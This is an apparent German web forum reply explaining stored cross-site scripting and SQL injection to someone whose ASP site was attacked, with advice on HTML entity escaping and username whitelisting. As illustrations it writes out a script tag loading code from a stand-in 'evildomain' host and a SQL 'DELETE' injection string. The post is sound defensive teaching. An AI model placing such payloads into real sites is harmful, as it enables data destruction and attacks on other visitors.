Sven Rautenberg: ASP-Website attackiert

Beitrag lesen

Moin!

Ich glaube ich verstehe, was Du meinst. Es geht ja letztendlich wahrscheinlich um manipulierte GET- oder POST-Daten. Wenn ich diese also vor der Verarbeitung in einem SQL-Statement so kodiere, daß aus " ein & wird, habe ich kein Problem mehr?

Nein, falsch.

Angenommen, der Benutzer kriegt ein Formular und darf sich z.B. einen Benutzernamen frei ausdenken, um sich anzumelden. Jeder normale Benutzer nennt sich dann

Benutzername

aber ein Angreifer nennt sich

<script src="http://evildomain/evilscript.js"></script>

Solange der Benutzername in das DB-Feld reinpaßt, ist dieser Vorgang komplett in Ordnung. Selbstverständlich mußt du beim Eintragen dafür sorgen, dass auch Benutzernamen wie

bar'; DELETE * FROM tabelle;

nicht "durchkommen", die Gefahr von SQL-Injection ist natürlich abzuwehren (das wurde im Thread ja schon besprochen.

Aber wenn du jetzt auf deiner Homepage ein Skript platziert hast, welches die neuen User des letzten Tages listet, und einfach nur den Usernamen als nackten Text da reinschreibst, entsteht (ich nehme mal die drei von oben):

<p>Neue User heute: Benutzername, <script src="http://evildomain/evilscript.js"></script>, bar'; DELETE * FROM tabelle;</p>

Da bindest du jedem anderen Besucher also ein böses Javascript ein!

Würdest du die Benutzernamen aber als Text verstehen, und den Wechsel von "Text" zu "HTML" berücksichtigen, müßten alle Zeichen, die in HTML Sonderbedeutung haben (<, >, ", &), als Entity geschrieben werden.

Und das Resultat ist dann absolut ungefährlich für die anderen Seitenbesucher

<p>Neue User heute: Benutzername, &lt;script src=&quot;http://evildomain/evilscript.js&quot;&gt;&lt;/script&gt;, bar'; DELETE * FROM tabelle;</p>

Es sieht halt nur "Scheiße" aus, wenn solche Benutzernamen auftreten. Insofern wäre es vermutlich eine gute Idee, die Wahl des Benutzernamens vor der Genehmigung und dem Eintrag in die Datenbank noch auf zusätzliche Mindestanforderungen zu prüfen, wie z.B. Verzicht auf Sonderzeichen und Leerzeichen, oder gar die Eingrenzung auf den Bereich [A-Za-z0-9].

- Sven Rautenberg

--
"Love your nation - respect the others."